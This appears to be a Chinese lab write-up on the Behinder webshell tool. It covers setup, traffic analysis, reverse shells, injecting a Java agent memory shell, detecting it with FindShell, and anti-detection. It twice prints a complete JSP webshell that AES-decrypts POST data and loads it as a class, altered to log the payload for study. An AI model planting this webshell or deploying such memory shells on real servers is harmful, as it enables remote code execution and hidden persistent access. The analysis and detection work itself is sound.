32_behinder(冰蝎)

behinder(冰蝎)

一、冰蝎的连接

先打开冰蝎,注意jdk版本,可能会影响
在这里插入图片描述
打开后界面如下
在这里插入图片描述
点击传输协议,生成shell.jsp
在这里插入图片描述
协议名称选择aes,里面有个key,需要用密码的md5值32位加密的前16位
我这里设置密码bihuo.cn,它的md5值32位加密的前16位为9da63beefb94c7d4

在这里插入图片描述
下面的加密解密可以测试一下,看是否正常
然后点击下方保存
在这里插入图片描述
保存之后,点击上方的生成服务端,会自动弹出shell.jsp存放的文件夹
里面就是生成的三种类型的内存马
在这里插入图片描述
复制shell.jsp里面的内容,粘贴到IDEA里面
在这里插入图片描述
然后启动运行tomcat服务器,访问shell.jsp在这里插入图片描述
之后就是冰蝎连接获取webshell
冰蝎连接方式有两种,一种是密码连接
在这里插入图片描述
另一种是自定义,使用default 配置下的用户名和密码
在这里插入图片描述

在这里插入图片描述
连接成功就是如下图的一些功能点界面
在这里插入图片描述

二、冰蝎的流量分析

用burp抓取流量包分析冰蝎的流量
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

修改shell.jsp
让解密后的结果输出到txt文件中

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
  private byte[] Decrypt(byte[] data) throws Exception {
    String k = "9da63beefb94c7d4";
    javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
    c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));
    byte[] decodebs;
    Class baseCls;
    try {
      baseCls = Class.forName("java.util.Base64");
      Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
      decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
    } catch (Throwable e) {
      baseCls = Class.forName("sun.misc.BASE64Decoder");
      Object Decoder = baseCls.newInstance();
      decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

    }
    return c.doFinal(decodebs);

  }
%>
<%!
  class U extends ClassLoader {
    U(ClassLoader c) {
      super(c);
    }

    public Class g(byte[] b) {
      return
              super.defineClass(b, 0, b.length);
    }
  }
%><%
  if (request.getMethod().equals("POST")) {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    byte[] buf = new byte[512];
    int length = request.getInputStream().read(buf);
    while (length > 0) {
      byte[] data = Arrays.copyOfRange(buf, 0, length);
      bos.write(data);
      length = request.getInputStream().read(buf);
    }
            /* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容 ??
            out.clear();
            out=pageContext.pushBody();
            */
    out.clear();
    out = pageContext.pushBody();
    byte [] decryptBytes = Decrypt(bos.toByteArray());
    File file = new File("C:/decode1.txt");
    FileOutputStream fileWriter = new FileOutputStream(file);
    fileWriter.write  (decryptBytes);
    fileWriter.close();
    new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);
  }
%>

在这里插入图片描述
在这里插入图片描述
开启调试,然后使用burp发包
就会看到,本地出现decode1.txt文件和decode2.txt文件

后缀改成.clss
然后使用jd-gui工具反编译成java文件
jd-gui工具打不开文件的话,随便找一个其它文件打开,也能查看反编译好的文件
在这里插入图片描述
然后就是复制到IDEA里面
在这里插入图片描述
在这里插入图片描述
接下里的调试,就是新增一个main函数
IDEA里面输入psvm,可以快捷增加main函数
在这里插入图片描述
在这里插入图片描述

右键调试main函数
然后进入equals方法里面

public static void main(String[] args) {
    Qiaftpx qiaftpx = new Qiaftpx();
    qiaftpx.equals(1);
}

在这里插入图片描述

public static void main(String[] args) {
    Fmulvhnsdr fmulvhnsdr = new Fmulvhnsdr();
    fmulvhnsdr.equals(1);
}

在这里插入图片描述
我这里可能哪里有问题,没有彻底调试完成,后续成功弄出来再编辑这里吧

最后结果,behinder 握手包 2个
(1) 只返回success状态码
(2) 返回 相关的基础信息 服务器版本 操作系统版本 os版本 phpinfo 系统环境变量等

三、冰蝎的基本功能

连接上冰蝎之后,自己点点看就行

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、冰蝎反弹shell

冰蝎支持三种形式的反弹shell,meterpreter、shell、cobalt strike
下面我只演示两个meterpreter、shell,cobalt strike还得部署一会,先pass
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

五、java agent内存马

1. 理解java agent

参考文章理解java agent
https://blog.csdn.net/qq_45927266/article/details/124540920
在这里插入图片描述

2. 使用java agent

冰蝎工具自带注入java agent内存马功能,右键注入内存马
在这里插入图片描述
我们修改代理,抓包分析下
在这里插入图片描述
在这里插入图片描述
点击注入内存马之后,注入类型选择agent,路径点击默认的,然后修改文件名
我这里写的bihuo15.jsp
在这里插入图片描述
我们可以看到有大量的请求包,我这里甚至的都没有放完
它这里实际上是通过截断成大量的请求包,最后拼接成内存马的代码
可能是防止被杀
在这里插入图片描述
直接放完包之后,冰蝎上面多了一个通过内存马的连接
后面的状态是方框的话,就代表是内存马
左下角显示注入完成
在这里插入图片描述
通过内存马点开连接之后,发现功能一样能使用
在这里插入图片描述
并且未在主机,也就是服务器上发现bihuo15.jsp文件,没有发现内存马代码
看来是注入到了内存中
在这里插入图片描述

3. 分析java agent

我们在shell.jsp的基础上加入一些代码
让它AES解密之后,将内容写入到agent.txt文件中
在这里插入图片描述

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
  private byte[] Decrypt(byte[] data) throws Exception {
    String k = "9da63beefb94c7d4";
    javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
    c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));
    byte[] decodebs;
    Class baseCls;
    try {
      baseCls = Class.forName("java.util.Base64");
      Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
      decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
    } catch (Throwable e) {
      baseCls = Class.forName("sun.misc.BASE64Decoder");
      Object Decoder = baseCls.newInstance();
      decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

    }
    return c.doFinal(decodebs);

  }
%>
<%!
  class U extends ClassLoader {
    U(ClassLoader c) {
      super(c);
    }

    public Class g(byte[] b) {
      return
              super.defineClass(b, 0, b.length);
    }
  }
%><%
  if (request.getMethod().equals("POST")) {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    byte[] buf = new byte[512];
    int length = request.getInputStream().read(buf);
    while (length > 0) {
      byte[] data = Arrays.copyOfRange(buf, 0, length);
      bos.write(data);
      length = request.getInputStream().read(buf);
    }
            /* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容 ??
            out.clear();
            out=pageContext.pushBody();
            */
    out.clear();
    out = pageContext.pushBody();
    byte [] decryptBytes = Decrypt(bos.toByteArray());
    File file = new File("C:/agent.txt");
    FileOutputStream fileWriter = new FileOutputStream(file);
    fileWriter.write  (decryptBytes);
    fileWriter.close();
    new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);
  }
%>

然后开启调试,随便放一个流量包,就会发现多出agent.txt文件
在这里插入图片描述
将后缀改成.class
在这里插入图片描述
然后通过jd-gui反编译工具,将class文件反编译为java文件
有时候这个jd-gui工具无法打开文件,我们可以放一些其它的文件,例如我随便找的一个ArcTest.class文件,只要打开这个,agent.class也可以查看
在这里插入图片描述
在这里插入图片描述

4. 内存马查杀(findshell工具)

上面我们说到,内存马bihuo15.jsp文件并没有在服务器找到
那么我们需要借助内存马查杀的工具去检测内存马

https://github.com/geekmc/FindShell
在这里插入图片描述
打开工具
在这里插入图片描述
使用方法github也写着

在这里插入图片描述
在这里插入图片描述

先通过jps命令找到目标JVM的pid
然后使用这个工具,加上–pid 目标JVM的PID
还要加上–debug参数,才可以生成文件分析

可以看到有很多PID,如果我们不知道哪个是目标JVM的pid,那就一个一个试
看哪个生成了文件

或者停止服务器,再使用jps命令,对比发现少了哪个PID,快速判断目标JVM的PID
在这里插入图片描述
这里我都尝试过,这个Bootstarp就是目标JVM
成功生成out目录
在这里插入图片描述

使用IDEA打开out目录,里面就是java agent内存马
全部分析太麻烦

这里只需要找到两个东西

一个是java agent内存马绑定的访问路径
在这里插入图片描述
另一个是AES解密的key
在这里插入图片描述

5. 冰蝎 java agent防检测

注入java agent内存马的时候
下面有个防检测功能

我们重新注入一下,并且将out目录删除掉
在这里插入图片描述
在这里插入图片描述

然后我们再次使用findshell工具检测java agent内存马,发现还是生成了out目录
防检测功能未生效,这里可能是软件功能没制作好,或者可能是只能防止部分软件检测,而恰好findshell不能防

了解一下有这个功能点就行

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值